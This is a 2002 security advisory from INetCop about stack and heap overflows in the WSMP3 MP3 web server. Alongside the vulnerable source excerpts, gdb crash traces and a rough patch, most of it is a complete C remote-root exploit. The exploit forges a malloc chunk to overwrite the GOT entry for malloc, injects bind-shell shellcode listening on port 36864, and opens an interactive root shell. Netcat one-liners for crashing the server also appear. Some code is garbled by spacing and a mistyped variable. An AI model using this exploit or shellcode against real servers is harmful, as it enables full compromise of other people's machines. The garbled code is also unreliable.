
INetCop Security Advisory #2002-0x82-006

* Title: Remote Heap malloc/free &
multiple Overflow vulnerability in WSMP3.

0x01. Description

=====

WSMP3d webserver or, is used by shoutcast-server.

This supports to hear mp3, is daemon that have webserver's function.

If examine 'src/web_server.c', can know that very many multiple overflows exist.

Among various kinds, explain representative 2 things.

main() function:

```
—  
1360 int main(int argc, char *argv[],char *envp[])  
    ...  
1363     char recvBuffer[BUFSIZE]; // 32768  
    ...  
1526         i=recv(sock,recvBuffer,BUFSIZE,0);  
    ...  
1592         conn_req=parse_request(recvBuffer); // parse_request();  
--
```

parse_request() function:

```
—  
560 req_descriptor* parse_request(char *req)  
    ...  
563     char reqcpy[1024]; // 1024 ??
```

```

...
572 strcpy(reqcpy,req); // Overflow of stack base gets up.
573 ritorno->action=get_op(reqcpy); // get_op();
...
575 strcpy(reqcpy,req);
:
:
--

```

Stack overflow happens because use strcpy(). (arrangement 1024)

Next, let's see heap malloc()/free() bug.

get_op() function:

```

--
671 char* get_op(char *buf)
...
673 char* op;
674 int i;
675 if((op=(char *)malloc(10))==NULL)
...
684 while(buf[i]!=' ')
685 {
686     op[i]=buf[i]; // This part is very dangerous.
687     i+ +;
688 }
689 op[i]='\ 0';
...
692 return op;
--

```

That don't examine 0x20(' ') impatiently store.

See that is declared by malloc(10).

Now, they are going to achieve by next structure. (anticipation)

```
-----  
get_op() - return(op) -> parse_request()  
parse_request() - return(ritorno) -> conn_req  
rem_req_descriptor(conn_req);  
-----
```

rem_req_descriptor() function:

```
—  
504 void rem_req_descriptor(req_descriptor *desc)  
505 {  
506     free(desc->action);  
507     free(desc->what);  
508     free(desc->host);  
509     free(desc->agent);  
510     free(desc->accept);  
511     free(desc->lang);  
512     free(desc->enc);  
513     free(desc->charset);  
514     free(desc->keep);  
515     free(desc->conn);  
516     free(desc->referer);  
517     free(desc->pragma);  
518     free(desc->contType);  
519     free(desc->contLength);  
520     free(desc->content);  
521  
522     free(desc);  
--
```

They look like very interesting. So?

0x02. Vulnerable Packages

=====

Vendor site: <http://wsmp3.sourceforge.net/>

{I sent mail to vendor. It may be newest correction version. (anticipation)}

web_server-0.0.6

- **web_server-0.0.6.tar.gz**

+RedHat Linux 6.x

web_server-0.0.5 (exploitable)

- web_server-0.0.5.tar.gz

web_server-0.0.4

- web_server-0.0.4.tar.gz

web_server-0.0.3

- web_server-0.0.3.tar.gz.gz

wsmp3-0.0.2

- web_server-0.0.2.tar.gz

web_server-v.0.0.1

- web_server.tar.gz

* I did not other version exploit test. but, It may be weak.

0x03. Exploit

==--==--==--

It's simple test.

* Test -

First, execute wsm3 server.

Do debug in other shell thereafter.

First, stack overflow test.

#1) Test attacker:

```
bash$ (echo "GET `perl -e 'print \"x \"x2000`";cat)|nc 0 8000
```

#2) Debugging:

Program received signal SIGSEGV, Segmentation fault.

```
0x804a533 in parse_request ()
```

```
(gdb) where
```

```
#0 0x804a533 in parse_request ()
```

```
#1 0x78787878 in ?? ()
```

```
Cannot access memory at address 0x78787878.
```

```
(gdb)
```

Next, heap malloc()/free() overflow test.

#1) Test attacker:

```
bash$ (echo "x82-x0x-test";cat)|nc 0 8000
```

#2) Debugging:

Program received signal SIGSEGV, Segmentation fault.

0x4006fea4 in chunk_free (ar_ptr=0x40104040, p=0x805a720) at malloc.c:3036

3036 malloc.c: No such file or directory.

(gdb) where

#0 0x4006fea4 in chunk_free (ar_ptr=0x40104040, p=0x805a720) at malloc.c:3036

#1 0x4006fd75 in __libc_free (mem=0x805a728) at malloc.c:2959

#2 0x804a322 in rem_req_descriptor ()

#3 0x804f138 in main ()

#4 0x4002f1eb in __libc_start_main (main=0x804d3b4 <main>, argc=1,

argv=0xbffffc04, init=0x8048b74 <_init>, fini=0x804f42c <_fini>,

rtdl_fini=0x4000a610 <_dl_fini>, stack_end=0xbffffbfc)

at ../sysdeps/generic/libc-start.c:90

(gdb)

Because of multiplex overflow, exploit is difficult.

Very angry. :-)

This's exploit code that prove.

This code attacks heap malloc()/free() only.

Through remote attack, get 'root' competence !

=== 0x82-Remote.wsmp3xpl.c ===

/*

**

**** Proof of Concept WSMP3 Remote root exploit**

**

by Xpl017Elz

**

—

**** Testing exploit:**

**

**** bash\$./0x82-Remote.wsmp3xpl -h localhost -p 8000**

**

**** Proof of Concept WSMP3 Remote root exploit**

**

by Xpl017Elz

**

```
** Try `./0x82-Remote.wsmp3xpl -?' for more information.
**
** [1] Make fake chunk.
** [2] Make shellcode.
** [3] Send exploit (bindshell) code.
** [4] Waiting, executes the shell !
** [5] Trying localhost:36864 ...
** [6] Connected to localhost:36864 !
**
** [*] Executed shell successfully !
**
** Linux xpl017elz 2.2.12-20kr #1 Tue Oct 12 16:46:36 KST 1999 i686 unknown
** uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),
** 6(disk),10(wheel)
** bash#
**
** GOT malloc address:
**
** bash$ objdump --dynamic-reloc web_server | grep malloc
** 08051bac R_386_JUMP_SLOT    malloc
** bash$
**
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
**
**/
```

```
#include <stdio.h>
#include <unistd.h>
#include <getopt.h>
#include <netdb.h>
#include <netinet/in.h>

#define HOST "localhost"
#define PORT 8000
```

```

struct op_st
{
    int num;
    char *os;
    unsigned long retloc;
    unsigned long stkaddr;
    unsigned long retaddr;
}; /* only test */
struct op_st pl_form[]={
    {
        0,
        "RedHat Linux",
        /* malloc */
        0x08051bac,
        /* stack address */
        0xbfff7d18,
        /* heap address */
        0x0805b062
    }
};

```

```

int setsock(char *hostname,int port);
void getshell(int sock);
void re_conenter(int sock);
void banrl(char *args);
void usage(char *args);

```

```

int setsock(char *hostname,int port)
{
    int sock;
    struct hostent *sxp;
    struct sockaddr_in sxp_addr;

    if((sxp=gethostbyname(hostname))==NULL)
    {

```

```

        perror("gethostbyname() error");
        return(-1);
    }
    if((sock=socket(AF_INET,SOCK_STREAM,0))== -1)
    {
        perror("socket() error");
        return(-1);
    }

    sxp_addr.sin_family=AF_INET;
    sxp_addr.sin_port=htons(port);
    sxp_addr.sin_addr=((struct in_addr*)sxp->h_addr);
    bzero(&(sxp_addr.sin_zero),8);

    if(connect(sock,(struct sockaddr *)&sxp_addr,sizeof(struct sockaddr))== -1)
    {
        perror("connect() error");
        return(-1);
    }

    return(sock);
}

void getshell(int sock)
{
    int died;
    char *command="uname -a; id; export TERM=vt100; exec bash -i \ n";
    char readbuf[1024];
    fd_set rset;

    memset(readbuf,0x00,1024);

    fprintf(stdout," [*] Executed shell successfully ! \ n \ n");
    send(sock,command,strlen(command),0);

    for(;;)

```

```

{
    fflush(stdout);
    FD_ZERO(&rset);
    FD_SET(sock,&rset);
    FD_SET(STDIN_FILENO,&rset);
    select(sock + 1,&rset,NULL,NULL,NULL);

    if(FD_ISSET(sock,&rset))
    {
        died=read(sock,readbuf,1024);
        if(died<=0)
        {
            exit(0);
        }
        readbuf[died]=0;
        printf("%s",readbuf);
    }
    if(FD_ISSET(STDIN_FILENO,&rset))
    {
        died=read(STDIN_FILENO,readbuf,1024);
        if(died>0)
        {
            readbuf[died]=0;
            write(sock,readbuf,died);
        }
    }
}
return;
}

```

```

void re_conenter(int sock)

```

```

{
    if(sock== -1)
    {
        fprintf(stdout," [- ] Failed. \n \n");
        fprintf(stdout," Happy Exploit ! :- ) \n \n");
    }
}

```

```

        exit(-1);
    }
}

int main(int argc, char *argv[])
{
    int at_sock;
    int ts_sock;
    int port=PORT;
    int roud;
    char ttatk_code[36864];
    char hostname[0x82]=HOST;
    char main_str[] = /* BIND SHELL ON PORT TCP/36864 */
        //----- main: -----//
        " \xeb \x72"                /* jmp callz */
        //----- start: -----//
        " \x5e"                      /* popl %esi */
        //----- socket() -----//
        " \x29 \xc0"                /* subl %eax, %eax */
        " \x89 \x46 \x10"          /* movl %eax, 0x10(%esi) */
        " \x40"                      /* incl %eax */
        " \x89 \xc3"                /* movl %eax, %ebx */
        " \x89 \x46 \x0c"          /* movl %eax, 0x0c(%esi) */
        " \x40"                      /* incl %eax */
        " \x89 \x46 \x08"          /* movl %eax, 0x08(%esi) */
        " \x8d \x4e \x08"          /* leal 0x08(%esi), %ecx */
        " \xb0 \x66"                /* movb $0x66, %al */
        " \xcd \x80"                /* int $0x80 */
        //----- bind() -----//
        " \x43"                      /* incl %ebx */
        " \xc6 \x46 \x10 \x10"      /* movb $0x10, 0x10(%esi) */
        " \x66 \x89 \x5e \x14"      /* movw %bx, 0x14(%esi) */
        " \x88 \x46 \x08"          /* movb %al, 0x08(%esi) */
        " \x29 \xc0"                /* subl %eax, %eax */
        " \x89 \xc2"                /* movl %eax, %edx */
        " \x89 \x46 \x18"          /* movl %eax, 0x18(%esi) */

```

```

" \xb0 \x90"          /* movb $0x90, %al */
" \x66 \x89 \x46 \x16" /* movw %ax, 0x16(%esi) */
" \x8d \x4e \x14"     /* leal 0x14(%esi), %ecx */
" \x89 \x4e \x0c"     /* movl %ecx, 0x0c(%esi) */
" \x8d \x4e \x08"     /* leal 0x08(%esi), %ecx */
" \xb0 \x66"          /* movb $0x66, %al */
" \xcd \x80"          /* int $0x80 */
//----- listen() -----//
" \x89 \x5e \x0c"     /* movl %ebx, 0x0c(%esi) */
" \x43"               /* incl %ebx */
" \x43"               /* incl %ebx */
" \xb0 \x66"          /* movb $0x66, %al */
" \xcd \x80"          /* int $0x80 */
//----- accept() -----//
" \x89 \x56 \x0c"     /* movl %edx, 0x0c(%esi) */
" \x89 \x56 \x10"     /* movl %edx, 0x10(%esi) */
" \xb0 \x66"          /* movb $0x66, %al */
" \x43"               /* incl %ebx */
" \xcd \x80"          /* int $0x80 */
//---- dup2(s, 0), dup2(s, 1), dup2(s, 2) ----//
" \x86 \xc3"          /* xchgb %al, %bl */
" \xb0 \x3f"          /* movb $0x3f, %al */
" \x29 \xc9"          /* subl %ecx, %ecx */
" \xcd \x80"          /* int $0x80 */
" \xb0 \x3f"          /* movb $0x3f, %al */
" \x41"               /* incl %ecx */
" \xcd \x80"          /* int $0x80 */
" \xb0 \x3f"          /* movb $0x3f, %al */
" \x41"               /* incl %ecx */
" \xcd \x80"          /* int $0x80 */
//----- execve() -----//
" \x88 \x56 \x07"     /* movb %dl, 0x07(%esi) */
" \x89 \x76 \x0c"     /* movl %esi, 0x0c(%esi) */
" \x87 \xf3"          /* xchgl %esi, %ebx */
" \x8d \x4b \x0c"     /* leal 0x0c(%ebx), %ecx */
" \xb0 \x0b"          /* movb $0x0b, %al */

```

```

" \xcd \x80"                /* int $0x80 */
//----- callz: -----//
" \xe8 \x89 \xff \xff \xff"  /* call start */
"/bin/sh"; /* 128byte */

```

```

#define plus_4str(x0x) x0x+=4

```

```

int x0x_num=0;

```

```

int x0x_size=0;

```

```

#define BUF_LEN 1024

```

```

char *debug_test;

```

```

char code_128len[BUF_LEN];

```

```

char x82_16x0x[]={ /* 16byte */

```

```

    0x82,0x82,0x82,0x82,0x82,

```

```

    0x82,0x82,0x82,0x82,0x82,

```

```

    0x82,0x82,0x82,0x82,0x82,

```

```

    0x82

```

```

};

```

```

char nop_n_jump[4]={0x41,0xeb,0x0c,0x42};

```

```

int nop_12jump=0;

```

```

int ok_cont=0;

```

```

int target_type_number=0;

```

```

char p_rev_size[4]={0xff,0xff,0xff,0xfc}; /* chunk size */

```

```

char size_fd[4]={0xff,0xff,0xff,0xff}; /* data section size */

```

```

char atk_chunk[BUF_LEN];

```

```

unsigned long retloc=pl_form[target_type_number].retloc;

```

```

unsigned long retaddr=pl_form[target_type_number].retaddr;//.stkaddr;

```

```

memset(ttatk_code,0x00,36864);

```

```

memset(atk_chunk,0x00,BUF_LEN);

```

```

memset(code_128len,0x00,BUF_LEN);

```

```

(void)banrl(argv[0]);

```

```

while((roup=getopt(argc,argv,"R:r:S:s:H:h:P:p:"))!=EOF)

```

```

{

```

```

    switch(roup)

```

```

    {

```

```

    case 'R':
    case 'r':
        retloc=strtoul(optarg,NULL,0);
        break;

    case 'S':
    case 's':
        retaddr=strtoul(optarg,NULL,0);
        break;

    case 'H':
    case 'h':
        memset(hostname,0x00,0x82);
        strncpy(hostname,optarg,0x82);
        break;

    case 'P':
    case 'p':
        port=atoi(optarg);
        break;

    case '?':
        (void)usage(argv[0]);
        break;
}
}

//--- make fake chunk ---//
fprintf(stdout," [1] Make fake chunk. \n");
for(x0x_num=0;x0x_num<strlen(x82_16x0x);x0x_num++)
    atk_chunk[x0x_num]=x82_16x0x[x0x_num];
*(long*)&atk_chunk[x0x_num]=0xffffffffc; // prev_size
plus_4str(x0x_num);
*(long*)&atk_chunk[x0x_num]=0xfffffffff; // size(P)
plus_4str(x0x_num);
*(long*)&atk_chunk[x0x_num]=retloc-0x0c; // Forward pointer

```

```

plus_4str(x0x_num);
*(long*)&atk_chunk[x0x_num]=retaddr; // Back pointer
plus_4str(x0x_num);

// - - - make code - - -//
fprintf(stdout, " [2] Make shellcode. \n");
for(nop_12jump=0;nop_12jump<0x190;plus_4str(nop_12jump))
    *(long*)&code_128len[nop_12jump]=0x41eb0c42;
for(x0x_num=0,ok_cont=nop_12jump;x0x_num<strlen(main_str);x0x_num++)
    code_128len[ok_cont++] = main_str[x0x_num];

// - - - fake chunk + 0x20 + (nop + 12byte jmpcode + nop + shellcode) - - -//
snprintf(ttatk_code,36864,
    "%s%s%s \r \n",atk_chunk, " \x20",code_128len);

fprintf(stdout, " [3] Send exploit (bindshell) code. \n");
{ // Try two times connections. It's Point. :-)
    /* 1 */
    at_sock=setsock(hostname,port);
    re_conenter(at_sock);
    send(at_sock,ttatk_code,strlen(ttatk_code),0);
    close(at_sock);
    /* 2 */
    at_sock=setsock(hostname,port);
    re_conenter(at_sock);
    send(at_sock,ttatk_code,strlen(ttatk_code),0);
}
fprintf(stdout, " [4] Waiting, executes the shell ! \n");
sleep(3);
fprintf(stdout, " [5] Trying %s:36864 ... \n",hostname);
/* 3 */
ts_sock=setsock(hostname,36864);
re_conenter(ts_sock);
fprintf(stdout, " [6] Connected to %s:36864 ! \n \n",hostname);
// Execute bash shell
getshell(ts_sock);

```

```
}
```

```
void usage(char *args)
```

```
{
```

```
    fprintf(stderr, "\n Default Usage: %s - [option] [arguments] \n \n",args);
```

```
    fprintf(stderr, "\t -h [hostname] - target host \n");
```

```
    fprintf(stderr, "\t -p [port]      - port number \n");
```

```
    fprintf(stderr, "\t -r [addr]      - retloc addr (GOT malloc) \n");
```

```
    fprintf(stderr, "\t -s [addr]      - &shellcode addr \n");
```

```
    fprintf(stderr, " Example: %s -h localhost -p 8000 \n",args);
```

```
    fprintf(stdout, "\n Happy Exploit ! \n \n");
```

```
    exit(0);
```

```
}
```

```
void banrl(char *args)
```

```
{
```

```
    fprintf(stdout, "\n Proof of Concept WSMP3 Remote root exploit");
```

```
    fprintf(stdout, "\n                               by Xpl017Elz \n \n");
```

```
    fprintf(stdout, " Try ` %s -? ' for more information. \n \n",args);
```

```
}
```

```
=== eof ===
```

0x04. Patch

==--==--==

This is very shabby patch.

Download new version later.

=== web_server.patch ===

```
--- web_server.c      Tue Nov 12 03:30:21 2002
+++ web_server.patch.c  Mon Nov 18 12:26:28 2002
@@ -569,51 +569,51 @@
     }
     else init_req_descriptor(ritorno);

- strcpy(reqcpy,req);
+ strncpy(reqcpy,req,255+15);
  ritorno->action=get_op(reqcpy);

- strcpy(reqcpy,req);
+ strncpy(reqcpy,req,255+15);
  if(!strcmp(ritorno->action,"CHA")) ritorno->what=nomefile(reqcpy,1) ;
  else ritorno->what=nomefile(reqcpy,0);

- strcpy(reqcpy,req);
+ strncpy(reqcpy,req,255+15);
  ritorno->host=gimme_line(reqcpy,"Host: ");

- strcpy(reqcpy,req);
+ strncpy(reqcpy,req,255+15);
  ritorno->agent=gimme_line(reqcpy,"User - Agent: ");

- strcpy(reqcpy,req);
+ strncpy(reqcpy,req,255+15);
  ritorno->accept=gimme_line(reqcpy,"Accept: ");
```

```
- strcpy(reqcpy, req);  
+ strncpy(reqcpy, req, 255 + 15);  
ritorno -> lang = gimme_line(reqcpy, "Accept - Language: ");
```

```
- strcpy(reqcpy, req);  
+ strncpy(reqcpy, req, 255 + 15);  
ritorno -> enc = gimme_line(reqcpy, "Accept - Encoding: ");
```

```
- strcpy(reqcpy, req);  
+ strncpy(reqcpy, req, 255 + 15);  
ritorno -> charset = gimme_line(reqcpy, "Accept - Charset: ");
```

```
- strcpy(reqcpy, req);  
+ strncpy(reqcpy, req, 255 + 15);  
ritorno -> keep = gimme_line(reqcpy, "Keep - Alive: ");
```

```
- strcpy(reqcpy, req);  
+ strncpy(reqcpy, req, 255 + 15);  
ritorno -> conn = gimme_line(reqcpy, "Connection: ");
```

```
- strcpy(reqcpy, req);  
+ strncpy(reqcpy, req, 255 + 15);  
ritorno -> referer = gimme_line(reqcpy, "Referer: ");
```

```
- strcpy(reqcpy, req);  
+ strncpy(reqcpy, req, 255 + 15);  
ritorno -> pragma = gimme_line(reqcpy, "Pragma: ");
```

```
- strcpy(reqcpy, req);  
+ strncpy(reqcpy, req, 255 + 15);  
ritorno -> contentType = gimme_line(reqcpy, "Content - Type: ");
```

```
- strcpy(reqcpy, req);  
+ strncpy(reqcpy, req, 255 + 15);
```

```
ritorno->contLength=gimme_line(reqcpy,"Content - Length: ");
```

```
- strcpy(reqcpy,req);  
+ strncpy(reqcpy,req,255+15);  
ritorno->content=gimme_content(reqcpy);  
return ritorno;  
}
```

```
@@ -671,25 +671,21 @@
```

```
char* get_op(char *buf)  
{  
    char* op;  
+   char* method;  
    int i;  
    if((op=(char *)malloc(10))==NULL)  
    {  
        printf("Not enough memory! \n");  
        exit(1);  
    }  
-   if(buf!=NULL && (strlen(buf)>=3))  
+   if(buf[0]==0x20)  
    {  
-       //strncpy(op,buf,3);  
-       i=0;  
-       while(buf[i]!=' ')  
-       {  
-           op[i]=buf[i];  
-           i++;  
-       }  
-       op[i]='\0';  
+       buf[0]='\n';  
    }  
-   else op=NULL;  
-   return op;  
+   buf[strlen(buf)]='\n';  
+   strncpy(op,buf,10-1);  
+   method=(char*)strtok(op," ");
```

```
+ return method;  
}
```

=== eof ===

P.S: Sorry, for my poor english.

--

By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.

MSN & E-mail: [szoahc\(at\)hotmail\(dot\)com](mailto:szoahc@hotmail.com),
[xploit\(at\)hackermail\(dot\)com](mailto:xploit@hackermail.com)

INetCop Security Home: <http://www.inetcop.org/> (Korean hacking game)

My World: <http://x82.i21c.net/>

GPG public key: <http://wizard.underattack.co.kr/~x82/home/profile/x82.k3y>

--